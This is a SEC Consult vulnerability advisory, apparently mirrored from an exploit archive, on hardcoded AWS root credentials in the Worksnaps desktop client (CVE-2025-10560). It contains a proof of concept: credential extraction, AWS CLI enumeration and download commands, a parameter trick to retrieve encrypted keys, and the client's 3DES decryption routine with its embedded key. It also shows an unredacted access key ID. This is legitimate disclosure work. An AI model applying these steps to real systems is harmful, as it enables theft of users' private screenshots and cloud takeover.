## https://sploitus.com/exploit?id=PACKETSTORM:224001
SEC Consult Vulnerability Lab Security Advisory < 20260618-0 >
=======================================================================
title: Hardcoded Root Cloud Credentials in Application Binaries
product: Silver Leaf Technologies - Worksnaps.net Worksnaps
vulnerable version: <1.6.20260201
fixed version: 1.6.20260201
CVE number: CVE-2025-10560
impact: critical
homepage:https://www.worksnaps.net
found: 2025-05-21
by: Thorger Jansen (Office Bochum)
Daniel Hirschberger
Tobias Niemann (Office Bochum)
Marius Renner (Office Bochum)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We are a small company with strong entrepreneurial spirit. We are here to
provide a different way of time tracking, specifically designed for remote
work. We believe in small teams, solid development and great design. We believe
that no business is too small to serve."
"Worksnaps is a time-tracking system which enable verification of time and
work. By using Worksnaps Client, a program running on users' desktop, the
users' work activities are sampled and sent to the server. We call them
"worksnaps".
Source:https://www.worksnaps.net/www/index.shtml
Source:https://alternativeto.net/software/worksnaps/about/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately. The
vendor also implemented server-side fixes to remediate some identified
issues.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
Several application binaries contained hardcoded credentials, such as AWS access
keys and S3 bucket names, which granted access to the production environment.
Those hardcoded AWS cloud credentials in the Worksnaps client gave an
attacker complete access the Worksnaps AWS infrastructure as AWS root
account. An attacker got access to S3 buckets with sensitive data, such as
screenshots of user desktops.
Proof of concept:
-----------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
After installing the application, there are various binaries in
"C:\Program Files (x86)\Worksnaps".
Several of those binaries can be analyzed by using the "ILSpy" tool and
contain valid credentials.
For example the binary procUploadDirect.net45.v2.exe contains the following
AWS Credentials:
--------------------------------------------------------------------------------
private const string DEFAULT_AWS_ACCESS_KEY = "[REDACTED]";
private const string DEFAULT_AWS_SECRET_KEY = "[REDACTED]";
private const string DEFAULT_REGION_NAME = "USEast1";
private const string BUCKET_NAME = "bbbb_hyoung";
private static string TEMP_BUCKET_NAME = "temp-prod";
private static string PERM_BUCKET_NAME_FULL = "perm-prod";
private static string PERM_BUCKET_NAME_THUMB = "perm-prod2";
private static RegionEndpoint Region = RegionEndpoint.USEast1;
--------------------------------------------------------------------------------
Using these credentials several AWS actions could be performed by an attacker.
First, the identity of the caller can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "227929[REDACTED]",
"Account": "227929[REDACTED]",
"Arn": "arn:aws:iam::227929[REDACTED]:root"
}
--------------------------------------------------------------------------------
This shows that the credentials in use are valid and it provides key details
about the AWS identity, including the Account ID, User ID, and ARN (Amazon
Resource Name) of the entity making the call.
Then, all S3 buckets can be listed with the command "aws s3api list-buckets":
--------------------------------------------------------------------------------
$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "aws-cloudtrail-logs-[REDACTED]-ssfull",
"CreationDate": "2022-12-11T06:27:46+00:00"
},
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS
account. The output will include the names and creation dates of each bucket,
which can help identify targets of interest for further enumeration or data
access.
Also, by using the command "describe-instances" an attacker can retrieve
detailed information about all EC2 instances in the account:
--------------------------------------------------------------------------------
$ aws ec2 describe-instances
{
"Reservations": [
{
"ReservationId": "[REDACTED]",
"OwnerId": "227929[REDACTED]",
"Groups": [],
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "2019-05-28T02:39:54+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "[REDACTED]61769"
}
}
],
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have the ec2:DescribeInstances permission,
allowing the enumeration of instance metadata such as instance IDs, public and
private IP addresses, and more.
Finally, by using "aws s3 cp" an attacker could attempt to copy objects from a
target S3 bucket to their local system. In this case one of the generated
screenshots is directly fetched from the S3 bucket instead of the web
interface. Note: SEC Consult only requested data from our own associated
accounts. No data of other customers was accessed.
--------------------------------------------------------------------------------
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:GetObject) to read and download data from the buckets. Since the buckets
potentially contain sensitive files, this can lead to significant data
exfiltration.
UCloud credentials were also discovered alongside the AWS credentials.
However, their validity has not been verified:
--------------------------------------------------------------------------------
public static string UCLOUD_PROXY_SUFFIX = ".cn-sh2.ufileos.com";
public static string UCLOUD_PUBLIC_KEY = "[REDACTED]";
public static string UCLOUD_PRIVATE_KEY = "[REDACTED]";
public static string UCLOUD_WORKCARD_BUCKET = "workcard2";
public static string UCLOUD_WORKCARD_BUCKET_FULL = "workcardssfull-dev04";
public static string UCLOUD_WORKCARD_BUCKET_SMALL =
"workcardssrepository-dev04";
--------------------------------------------------------------------------------
Update 2026-01-30
-----------------
The vendor told us on 2025-12-12 that a new version of the client is available
on the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client
to re-check the vulnerability.
The originally reported hardcoded AWS cloud credentials were removed from the
binary. The original credentials had also been revoked. There still are
hardcoded credentials present in the application binaries, but they provide a
lower level of access. The following AWS credentials were extracted from
UploadTracker.exe:
--------------------------------------------------------------------------------
public const string S3_AccessKey = "AKIAYL45N6SALVDBTCUQ";
public const string S3_SecreKey = "[REDACTED]"
--------------------------------------------------------------------------------
The identity associated with the credentials can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "575318914176",
"Account": "575318914176",
"Arn": "arn:aws:iam::575318914176:root"
}
--------------------------------------------------------------------------------
SEC Consult did not perform a detailed assessment of the level of permissions
of these new credentials. However, at the very least, these credentials do not
provide access to the originally discovered S3 buckets with all screenshot
data.
The client application now retrieves AWS credentials for the S3 screenshot
buckets from the Worksnaps server after logging in. The following code block
shows the login request:
--------------------------------------------------------------------------------
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Worksnaps Client (Windows)
Host:www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=3201&version=1.6&build=Build+1%2E6%2E20251206&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]
--------------------------------------------------------------------------------
The server responds with the following response data. Note the bucketKey and
bucketKey2 fields, which contain encrypted AWS credentials.
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Server: Apache/2.4.62 (Unix) OpenSSL/1.1.1k
X-Powered-By: PHP/5.6.37
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=1769505670&timediff=1769502469&lb_url=&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=2&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED encrypted bucket key 1]&bucketKey2=[REDACTED encrypted bucket key 2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=
--------------------------------------------------------------------------------
The encrypted bucketKey can be easily decrypted by extracting the decryption
algorithm and corresponding 3DES encryption key from the client binary
procUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:
--------------------------------------------------------------------------------
private static string WORKWELL = "workwell";
private static string AMAZON = "AMAZON";
private static string SUFFIX = "@P66668888";
public static string Decrypt(string input)
{
string text = TripleDESEncryption.WORKWELL
+ TripleDESEncryption.AMAZON
+ TripleDESEncryption.SUFFIX;
string workwell = TripleDESEncryption.WORKWELL;
TripleDES tripleDES = TripleDES.Create();
tripleDES.IV = Encoding.ASCII.GetBytes(workwell);
tripleDES.Key = Encoding.ASCII.GetBytes(text);
tripleDES.Mode = CipherMode.CBC;
tripleDES.Padding = PaddingMode.Zeros;
ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
byte[] array = TripleDESEncryption.Decoder(input);
byte[] array2 = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
return Encoding.ASCII.GetString(array2);
}
--------------------------------------------------------------------------------
Decrypting the bucketKey using this algorithm once again yields AWS
credentials. The identity associated with the credentials can be retrieved with
the command "aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "AIDATKENJDUESTBAMYUIN",
"Account": "227929562377",
"Arn": "arn:aws:iam::227929562377:user/worksnapss3_10"
}
--------------------------------------------------------------------------------
Once again, all accessible S3 buckets can be listed with the command
"aws s3api list-buckets":
--------------------------------------------------------------------------------
$ aws s3api list-buckets
{
"Buckets": [
[...]
{
"Name": "ssfull-prod",
"CreationDate": "2011-11-18T23:41:06+00:00",
"BucketArn": "arn:aws:s3:::ssfull-prod"
},
[...]
]
}
--------------------------------------------------------------------------------
The credentials also still allow downloading screenshots as demonstrated in the
original advisory. Note: SEC Consult only requested data from our own
associated accounts. No data of other customers was accessed.
--------------------------------------------------------------------------------
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg
--------------------------------------------------------------------------------
In summary the removal of the hardcoded credentials did not improve the
situation, as the client now receives credentials with a similarly
high level of access during the login process instead.
Update 2026-02-21
-----------------
The vendor told us on 2026-02-05 that a new version of the client is available
on the website. On 2026-02-14 we downloaded version 1.6.20260201 of the client
to re-check the vulnerability.
The procUploadDirect.net45.v2.exe is no longer included. The binary
procUploadDirectURL.exe is now used to upload the screenshot to the S3 bucket.
The required signed AWS upload URL is fetched via the API.
It is however possible to still retrieve the encrypted S3 credentials from
the API by ommiting or setting the use_puturl parameter during the login
request to 0:
--------------------------------------------------------------------------------
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host:www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=18&version=1.6&build=Build+1%2E6%2E20260201&use_puturl=0&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]
--------------------------------------------------------------------------------
As before, the API responds with the encrypted S3 credentials:
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 960
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=[REDACTED]&timediff=[REDACTED]&&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=3&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED bucketKey1]&bucketKey2=[REDACTED bucketKey2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=
--------------------------------------------------------------------------------
The decryption process is the same as before. After decryption the
same AWS credentials as before were obtained.
According to the vendor, they implemented further server-side mitigations
to fix this issue.
Vulnerable / tested versions:
-----------------------------
The following versions have been tested:
* Original advisory: Windows client version 1.6.20250304
* Update 2026-01-30: Windows client version 1.6.20251206
* Update 2026-02-21: Windows client version 1.6.20260201
The vendor introduced server-side fixes later on, hence the
client version 1.6.20260201 already contains the necessary patches.
Vendor contact timeline:
------------------------
2025-07-09: Initial mail to the vendor (info@worksnaps.net;support@worksnaps.net).
No response.
2025-08-22: Sent reminder via mail, no response.
2025-09-16: Submitted a support ticket #40137 viahttps://worksnaps.freshdesk.com/support/tickets/new
Asking for a security contact. No response.
2025-11-03: Informing vendor of our public release of the advisory on 20th November,
assigned CVE-2025-10560.
2025-11-03: Vendor apologizes to have our emails miscategorized by support staff.
We should send our advisory to a specific person.
2025-11-04: Sending security advisory. Vendor contact responds, they will do an internal
investigation regarding next steps.
2025-11-10: We receive a detailed investigation of the issue and an action plan,
we agree to extend the deadline for one month until 2025-12-20. Asking
a few architectural questions regarding the hardcoded keys.
2025-11-11: Vendor answers our questions and we follow-up regarding the removal of
the hardcoded AWS root keys.
2025-11-14: Vendor is working the issues and will provide an update.
2025-12-12: Vendor informs us that a new version of the Worksnaps client is
available on the website and asks us to re-check the
vulnerability.
2025-12-19: Vendor asks us about the approaching disclosure deadline as we were
not able to re-check the vulnerability yet.
2025-12-19: We inform the vendor that we are not able to perform the re-check
in December due to the approaching holidays. We also assure that we
will not initiate public disclosure before re-checking. We commit
to providing a response in January 2026.
2026-01-30: Sending updated security advisory to vendor. Core issue is still unfixed.
2026-02-04: Vendor has reviewed our updated advisory and are working on a solution.
Updated package is planned to be released shortly.
2026-02-05: Vendor provides an updated version, implemented pre-signed PUT URLs,
removed executables with now obsolete credentials.
2026-02-17: Vendor asks if we had time to review the patch.
2026-02-18: Informing vendor about delay of patch review due to customer projects,
also proposing recheck for next potential iterations as it is still unfixed.
Vendor asks for extension of deadline because of holidays.
2026-02-21: Sending updated security advisory to vendor. Core issue is still unfixed
due to legacy API functionality.
2026-02-23: Vendor thanks us for the update and will review the issue again.
2026-02-27: Vendor contact will be on vacation soon, asks for extension of deadline.
Setting up a call with the vendor for 4th March.
2026-03-25: Following up with vendor regarding remedation.
2026-03-30: Vendor responds with steps already taken.
2026-03-31: Giving additional time to complete remediation activities
2026-06-15: Informing vendor about upcoming release date, asking for affected/fixed
version numbers.
2026-06-16: Vendor clarifies patched version and provides further details regarding
already implemented server-side fixes. Sending advisory draft to vendor.
2026-06-18: Public release of security advisory.
Solution:
---------
The vendor provides a patched version 1.6.20260201 (or higher) which should be
installed immediately. It can be downloaded from the vendor's website:
https://www.worksnaps.net/www/download.shtml
Furthermore, server-side fixes have been implemented according to the vendor
which mitigate the identified security issues.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Thorger Jansen, Daniel Hirschberger, Tobias Niemann, Marius Renner / @2026